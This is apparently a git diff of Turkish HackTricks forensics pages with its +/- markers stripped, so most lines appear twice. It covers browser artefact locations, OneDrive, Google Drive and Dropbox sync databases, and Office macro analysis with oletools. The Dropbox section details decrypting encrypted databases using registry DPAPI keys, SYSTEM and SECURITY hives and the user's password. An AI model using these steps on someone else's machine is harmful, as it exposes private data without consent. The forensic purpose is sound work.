### Çerez Yönetimi
Çerezler, [IECookiesView](https://www.nirsoft.net/utils/iecookies.html) kullanılarak incelenebilir, meta veriler isimleri, URL'leri, erişim sayıları ve çeşitli zamanla ilgili ayrıntıları içerir. Kalıcı çerezler `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies` içinde saklanırken, oturum çerezleri bellekte saklanır.
Çerezler, [IECookiesView](https://www.nirsoft.net/utils/iecookies.html) kullanılarak incelenebilir; meta veriler arasında isimler, URL'ler, erişim sayıları ve çeşitli zamanla ilgili detaylar bulunur. Kalıcı çerezler `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies` içinde saklanırken, oturum çerezleri bellekte saklanır.
### İndirme Detayları
İndirme meta verileri [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) ile erişilebilir, belirli konteynerlar URL, dosya türü ve indirme konumu gibi verileri saklar. Fiziksel dosyalar `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory` altında bulunabilir.
İndirme meta verileri [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) ile erişilebilir; belirli konteynerler URL, dosya türü ve indirme konumu gibi verileri saklar. Fiziksel dosyalar `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory` altında bulunabilir.
### Gezinti Geçmişi
### Tarama Geçmişi
Gezinti geçmişini incelemek için [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html) kullanılabilir, çıkarılan geçmiş dosyalarının konumunu ve Internet Explorer için yapılandırmayı gerektirir. Meta veriler burada değiştirme ve erişim zamanlarını, erişim sayılarını içerir. Geçmiş dosyaları `%userprofile%\Appdata\Local\Microsoft\Windows\History` içinde bulunur.
Tarama geçmişini incelemek için [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html) kullanılabilir; çıkarılan geçmiş dosyalarının konumunu ve Internet Explorer için yapılandırmayı gerektirir. Meta veriler burada değiştirme ve erişim zamanlarını, erişim sayılarını içerir. Geçmiş dosyaları `%userprofile%\Appdata\Local\Microsoft\Windows\History` içinde bulunur.
### Yazılan URL'ler
@ -149,47 +149,47 @@ Yazılan URL'ler ve kullanım zamanları, kullanıcı tarafından girilen son 50
Microsoft Edge, kullanıcı verilerini `%userprofile%\Appdata\Local\Packages` içinde saklar. Farklı veri türleri için yollar şunlardır:
- **Profil Yolu**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC`
- **Geçmiş, Çerezler ve İndirmeler**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat`
- **Ayarlar, Yer İmleri ve Okuma Listesi**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb`
- **Önbellek**: `C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache`
- **Son Aktif Oturumlar**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active`
* **Profil Yolu**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC`
* **Geçmiş, Çerezler ve İndirmeler**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat`
* **Ayarlar, Yer İmleri ve Okuma Listesi**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\DataStore\Data\nouser1\XXX\DBStore\spartan.edb`
* **Önbellek**: `C:\Users\XXX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC#!XXX\MicrosoftEdge\Cache`
* **Son Etkin Oturumlar**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC\MicrosoftEdge\User\Default\Recovery\Active`
## Safari
Safari verileri `/Users/$User/Library/Safari` içinde saklanır. Ana dosyalar şunları içerir:
- **History.db**: URL'leri ve ziyaret zaman damgalarını içeren `history_visits` ve `history_items` tablolarını içerir. Sorgulamak için `sqlite3` kullanın.
- **Downloads.plist**: İndirilen dosyalar hakkında bilgi.
- **Bookmarks.plist**: Yer imlerini saklar.
- **TopSites.plist**: En sık ziyaret edilen siteler.
- **Extensions.plist**: Safari tarayıcı uzantılarının listesi. Almak için `plutil` veya `pluginkit` kullanın.
- **UserNotificationPermissions.plist**: Bildirim göndermeye izin verilen alanlar. Ayrıştırmak için `plutil` kullanın.
- **LastSession.plist**: Son oturumdan sekmeler. Ayrıştırmak için `plutil` kullanın.
- **Tarayıcının yerleşik anti-phishing'i**: `defaults read com.apple.Safari WarnAboutFraudulentWebsites` kullanarak kontrol edin. 1 yanıtı özelliğin etkin olduğunu gösterir.
* **History.db**: URL'leri ve ziyaret zaman damgalarını içeren `history_visits` ve `history_items` tablolarını içerir. Sorgulamak için `sqlite3` kullanın.
* **Downloads.plist**: İndirilen dosyalar hakkında bilgi.
* **Bookmarks.plist**: Yer imlerini saklar.
* **TopSites.plist**: En sık ziyaret edilen siteler.
* **Extensions.plist**: Safari tarayıcı uzantılarının listesi. Almak için `plutil` veya `pluginkit` kullanın.
* **UserNotificationPermissions.plist**: Bildirim göndermeye izin verilen alanlar. Ayrıştırmak için `plutil` kullanın.
* **LastSession.plist**: Son oturumdan sekmeler. Ayrıştırmak için `plutil` kullanın.
* **Tarayıcının yerleşik anti-phishing'i**: `defaults read com.apple.Safari WarnAboutFraudulentWebsites` komutunu kullanarak kontrol edin. 1 yanıtı özelliğin etkin olduğunu gösterir.
## Opera
Opera'nın verileri `/Users/$USER/Library/Application Support/com.operasoftware.Opera` içinde saklanır ve Chrome'un formatını geçmiş ve indirmeler için paylaşır.
Opera'nın verileri `/Users/$USER/Library/Application Support/com.operasoftware.Opera` içinde saklanır ve tarama geçmişi ve indirmeler için Chrome'un formatını paylaşır.
- **Tarayıcının yerleşik anti-phishing'i**: `fraud_protection_enabled` ayarının `true` olarak ayarlandığını kontrol ederek doğrulayın, bunu `grep` kullanarak yapabilirsiniz.
* **Tarayıcının yerleşik anti-phishing'i**: `fraud_protection_enabled` ayarının `true` olarak ayarlanıp ayarlanmadığını kontrol ederek doğrulayın, bunu `grep` kullanarak yapabilirsiniz.
Bu yollar ve komutlar, farklı web tarayıcıları tarafından depolanan gezinme verilerine erişmek ve anlamak için önemlidir.
Bu yollar ve komutlar, farklı web tarayıcıları tarafından depolanan tarama verilerine erişmek ve anlamak için önemlidir.
## Referanslar
- [https://nasbench.medium.com/web-browsers-forensics-7e99940c579a](https://nasbench.medium.com/web-browsers-forensics-7e99940c579a)
- [https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/](https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/)
- [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file)
- **Kitap: OS X Incident Response: Scripting and Analysis By Jaron Bradley sayfa 123**
* [https://nasbench.medium.com/web-browsers-forensics-7e99940c579a](https://nasbench.medium.com/web-browsers-forensics-7e99940c579a)
* [https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/](https://www.sentinelone.com/labs/macos-incident-response-part-3-system-manipulation/)
* [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file)
* **Kitap: OS X Incident Response: Scripting and Analysis By Jaron Bradley sayfa 123**
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatik iş akışları** oluşturabilir ve otomatikleştirebilirsiniz.\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=browser-artifacts) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatikleştirilmiş iş akışları** oluşturun ve çalıştırın.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=browser-artifacts" %}
<details>
@ -199,5 +199,5 @@ HackTricks'i desteklemenin diğer yolları:
* **Şirketinizin HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubumuza**](https://discord.gg/hRep4RUj7f) veya [**telegram grubumuza**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşın, PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına.
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşın, PR'larınızı göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına.

View file

@ -6,25 +6,25 @@
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünleri**]'ni edinin (https://peass.creator-spring.com)
* [**The PEASS Family**]'yi keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**] (https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**] (https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**] (https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**] (https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks** (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**] (https://github.com/carlospolop/hacktricks-cloud) github depolarına PR'lar gönderin.
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na (https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerine göz atın**](https://peass.creator-spring.com)
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek HackTricks** (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**]'i kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=local-cloud-storage) kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=local-cloud-storage" %}
## OneDrive
Windows'ta, OneDrive klasörünü `\Users\<kullanıcıadı>\AppData\Local\Microsoft\OneDrive` içinde bulabilirsiniz. Ve içinde `logs\Personal` klasöründe senkronize edilen dosyalarla ilgili bazı ilginç veriler içeren `SyncDiagnostics.log` dosyasını bulmak mümkündür:
Windows'ta, OneDrive klasörünü `\Users\<kullanıcıadı>\AppData\Local\Microsoft\OneDrive` içinde bulabilirsiniz. Ve içinde `logs\Personal` klasöründe senkronize edilen dosyalarla ilgili bazı ilginç veriler içeren `SyncDiagnostics.log` dosyasını bulabilirsiniz:
* Bayt cinsinden boyut
* Oluşturma tarihi
@ -35,21 +35,21 @@ Windows'ta, OneDrive klasörünü `\Users\<kullanıcıadı>\AppData\Local\Micros
* Rapor oluşturma zamanı
* İşletim sisteminin HD boyutu
CID'yi bulduktan sonra **bu kimliği içeren dosyaları aramanız önerilir**. OneDrive ile senkronize edilen dosyaların adlarını içerebilecek _**\<CID>.ini**_ ve _**\<CID>.dat**_ adlı dosyaları bulabilirsiniz.
CID'yi bulduktan sonra **bu kimliği içeren dosyaları aramanız önerilir**. _**\<CID>.ini**_ ve _**\<CID>.dat**_ adında dosyalar bulabilir ve bu dosyaların OneDrive ile senkronize edilen dosyaların adlarını içerebileceği ilginç bilgiler içerebilir.
## Google Drive
Windows'ta, ana Google Drive klasörünü `\Users\<kullanıcıadı>\AppData\Local\Google\Drive\user_default` içinde bulabilirsiniz.\
Bu klasör, hesabın e-posta adresi, dosya adları, zaman damgaları, dosyaların MD5 karma değerleri vb. gibi bilgiler içeren Sync\_log.log adlı bir dosyayı içerir. Silinmiş dosyalar bile, ilgili MD5 değeriyle birlikte o log dosyasında görünür.
Bu klasör, hesabın e-posta adresi, dosya adları, zaman damgaları, dosyaların MD5 karma değerleri vb. gibi bilgiler içeren Sync\_log.log adlı bir dosya içerir. Silinmiş dosyalar bile, ilgili MD5 değeriyle birlikte o log dosyasında görünür.
**`Cloud_graph\Cloud_graph.db`** dosyası, **`cloud_graph_entry`** tablosunu içeren bir sqlite veritabanıdır. Bu tabloda **senkronize edilen dosyaların adını**, değiştirilme zamanını, boyutunu ve dosyaların MD5 karma değerini bulabilirsiniz.
**`Cloud_graph\Cloud_graph.db`** dosyası, **`cloud_graph_entry`** tablosunu içeren bir sqlite veritabanıdır. Bu tabloda **senkronize edilen dosyaların adı**, değiştirilme zamanı, boyut ve dosyaların MD5 toplamı bulunabilir.
Veritabanının **`Sync_config.db`** tablo verileri hesabın e-posta adresini, paylaşılan klasörlerin yolunu ve Google Drive sürümünü içerir.
Veritabanı **`Sync_config.db`** tablo verileri hesabın e-posta adresini, paylaşılan klasörlerin yolunu ve Google Drive sürümünü içerir.
## Dropbox
Dropbox dosyaları yönetmek için **SQLite veritabanlarını** kullanır. Bu\
Veritabanlarını şu klasörlerde bulabilirsiniz:
Veritabanlarını aşağıdaki klasörlerde bulabilirsiniz:
* `\Users\<kullanıcıadı>\AppData\Local\Dropbox`
* `\Users\<kullanıcıadı>\AppData\Local\Dropbox\Instance1`
@ -75,16 +75,16 @@ Ancak, ana bilgiler şunlardır:
Bu bilgilerin yanı sıra, veritabanlarını şifrelemek için hala gerekenler:
* **Şifreli DPAPI anahtarı**: Bu anahtarı `NTUSER.DAT\Software\Dropbox\ks\client` içinde kayıt defterinde bulabilirsiniz (bu veriyi ikili olarak dışa aktarın)
* **Şifreli DPAPI anahtarı**: Bu veriyi `NTUSER.DAT\Software\Dropbox\ks\client` içinde kayıt defterinde bulabilirsiniz (bu veriyi ikili olarak dışa aktarın)
* **`SYSTEM`** ve **`SECURITY`** hive'ları
* **DPAPI anahtarları**: Bunlar `\Users\<kullanıcıadı>\AppData\Roaming\Microsoft\Protect` içinde bulunabilir
* Windows kullanıcısının **kullanıcı adı** ve **şifresi**
Ardından [**DataProtectionDecryptor**] (https://nirsoft.net/utils/dpapi\_data\_decryptor.html)** aracını kullanabilirsiniz:**
Ardından [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi\_data\_decryptor.html)** aracını kullanabilirsiniz:**
![](<../../../.gitbook/assets/image (443).png>)
Her şey beklediğiniz gibi giderse, araç **kurtarmanız gereken birincil anahtarı** gösterecektir. Orijinal anahtarı kurtarmak için, bu [cyber\_chef reçetesini](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\)) alıntı içinde "parola" olarak birincil anahtarı koyun.
Her şey beklediğiniz gibi giderse, araç **kullanmanız gereken birincil anahtarı** belirtecektir. Orijinal anahtarı kurtarmak için, bu [cyber\_chef reçetesini](https://gchq.github.io/CyberChef/#recipe=Derive\_PBKDF2\_key\(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D\)) alıntılanan anahtarı "parola" olarak reçeteye yerleştirin.
Sonuçta elde edilen onaltılık, veritabanlarını şifrelemek için kullanılan nihai anahtardır ve şununla şifrelenmiş veritabanlar şifresi çözülebilir:
```bash
@ -98,7 +98,7 @@ sqlite -k <Obtained Key> config.dbx ".backup config.db" #This decompress the con
- **Host\_id**: Buluta kimlik doğrulamak için kullanılan hash. Bu sadece web üzerinden iptal edilebilir.
- **Root\_ns**: Kullanıcı kimliği
**`filecache.db`** veritabanı, Dropbox ile senkronize edilen tüm dosya ve klasörler hakkında bilgi içerir. En fazla kullanışlı bilgiye sahip olan tablo `File_journal`'dir:
**`filecache.db`** veritabanı, Dropbox ile senkronize edilen tüm dosya ve klasörler hakkında bilgi içerir. En fazla kullanışlı bilgiye sahip olan tablo `File_journal` şudur:
- **Server\_path**: Sunucu içinde dosyanın bulunduğu yol (bu yol, istemcinin `host_id`'si tarafından önce gelir).
- **local\_sjid**: Dosyanın sürümü
@ -107,8 +107,8 @@ sqlite -k <Obtained Key> config.dbx ".backup config.db" #This decompress the con
Bu veritabanındaki diğer tablolar daha ilginç bilgiler içerir:
- **block\_cache**: Dropbox'un tüm dosya ve klasörlerinin hash'ı
- **block\_ref**: `block_cache` tablosundaki hash ID'sini `file_journal` tablosundaki dosya ID'si ile ilişkilendirir
- **block\_cache**: Dropbox'un tüm dosya ve klasörlerinin hash'leri
- **block\_ref**: `block_cache` tablosundaki hash kimliğini `file_journal` tablosundaki dosya kimliği ile ilişkilendirir
- **mount\_table**: Dropbox'un paylaşılan klasörleri
- **deleted\_fields**: Silinen Dropbox dosyaları
- **date\_added**
@ -116,21 +116,21 @@ Bu veritabanındaki diğer tablolar daha ilginç bilgiler içerir:
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=local-cloud-storage)'i kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen iş akışlarını kolayca oluşturun ve **otomatikleştirin**.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=local-cloud-storage" %}
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahramana kadar AWS hackleme öğrenin!</summary>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
- **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
- **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
- [**Resmi PEASS & HackTricks ürünlerine göz atın**](https://peass.creator-spring.com)
- [**The PEASS Family'yi keşfedin**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin
- 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**'da takip edin.**
- 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'ı takip edin.
- **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR göndererek paylaşın.
</details>

View file

@ -2,7 +2,7 @@
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
@ -17,20 +17,20 @@ HackTricks'ı desteklemenin diğer yolları:
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=office-file-analysis) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen ve **iş akışlarını otomatikleştirmeyi** kolayca sağlayın.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=office-file-analysis" %}
Daha fazla bilgi için [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/) kontrol edin. Bu sadece bir özet:
Daha fazla bilgi için [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/) adresine bakın. Bu sadece bir özet:
Microsoft birçok ofis belge formatı oluşturmuştur, iki ana türü **OLE formatları** (örneğin RTF, DOC, XLS, PPT) ve **Office Open XML (OOXML) formatları** (örneğin DOCX, XLSX, PPTX). Bu formatlar makrolar içerebilir, bu nedenle balık avı ve kötü amaçlı yazılımlar için hedef olabilirler. OOXML dosyaları zip konteynerları olarak yapılandırılmıştır, bu da açılarak inceleme yapılmasına izin verir, dosya ve klasör hiyerarşisini ve XML dosya içeriğini ortaya çıkarır.
Microsoft birçok ofis belge formatı oluşturmuştur, iki ana türü **OLE formatları** (örneğin RTF, DOC, XLS, PPT) ve **Office Open XML (OOXML) formatları** (örneğin DOCX, XLSX, PPTX) olarak adlandırılır. Bu formatlar, içerisinde makrolar barındırabilir ve bu nedenle phishing ve kötü amaçlı yazılımlar için hedef olabilir. OOXML dosyaları zip konteynerleri olarak yapılandırılmıştır, bu da dosya ve klasör hiyerarşisini ve XML dosya içeriğini açığa çıkararak incelemeye olanak tanır.
OOXML dosya yapılarını keşfetmek için belgeyi açmak ve çıktı yapısınısteren komut verilmiştir. Bu dosyalara veri gizleme teknikleri belgelenmiştir, bu da CTF zorluklarında veri gizleme konusunda devam eden yenilikleri gösterir.
OOXML dosya yapılarını keşfetmek için belgeyi açmak ve çıktı yapısını görmek için komutlar verilmiştir. Bu dosyalara veri gizleme teknikleri belgelenmiştir ve CTF zorluklarında veri gizleme konusunda sürekli yenilikler olduğunu göstermektedir.
Analiz için **oletools** ve **OfficeDissector**, hem OLE hem de OOXML belgelerini incelemek için kapsamlı araç setleri sunar. Bu araçlar, genellikle kötü amaçlı yazılım teslimat vektörleri olarak hizmet eden gömülü makroları tanımlamaya ve analiz etmeye yardımcı olur, genellikle ek kötü amaçlı yükleri indirip yürüten. VBA makrolarının analizi, Libre Office kullanılarak Microsoft Office olmadan yapılabilir, bu da kesme noktaları ve izleme değişkenleri ile hata ayıklamaya izin verir.
Analiz için **oletools** ve **OfficeDissector**, hem OLE hem de OOXML belgelerini incelemek için kapsamlı araç setleri sunar. Bu araçlar, genellikle kötü amaçlı yazılım teslimatı için vektör olarak hizmet eden gömülü makroları tanımlamak ve analiz etmek konusunda yardımcı olur. VBA makrolarının analizi, Libre Office kullanılarak Microsoft Office olmadan yapılabilir, bu da kesme noktaları ve izleme değişkenleri ile hata ayıklamaya olanak tanır.
**oletools**'un kurulumu ve kullanımı basittir, pip ile kurulum için komutlar sağlanmış ve belgelerden makroları çıkarmak için komutlar verilmiştir. Makroların otomatik yürütülmesi genellikle `AutoOpen`, `AutoExec` veya `Document_Open` gibi işlevlerle tetiklenir.
**oletools**'un kurulumu ve kullanımı basittir, pip aracılığıyla kurulum için komutlar sağlanmıştır ve belgelerden makroları çıkarmak için kullanılır. Makroların otomatik olarak çalıştırılması, `AutoOpen`, `AutoExec` veya `Document_Open` gibi işlevlerle tetiklenir.
```bash
sudo pip3 install -U oletools
olevba -c /path/to/document #Extract macros
@ -38,21 +38,21 @@ olevba -c /path/to/document #Extract macros
<figure><img src="../../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=office-file-analysis) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **iş akışlarını otomatikleştirin**.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=office-file-analysis" %}
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan kahramana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI'na**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* **💬** [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'da takip edin**.
* **Hacking püf noktalarınızı göndererek PR'larınızı** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github depolarına** ekleyin.
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github depolarına PR göndererek paylaşın.**
</details>

View file

@ -2,51 +2,51 @@
<details>
<summary><strong>Sıfırdan kahramana AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> kadar öğrenin!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
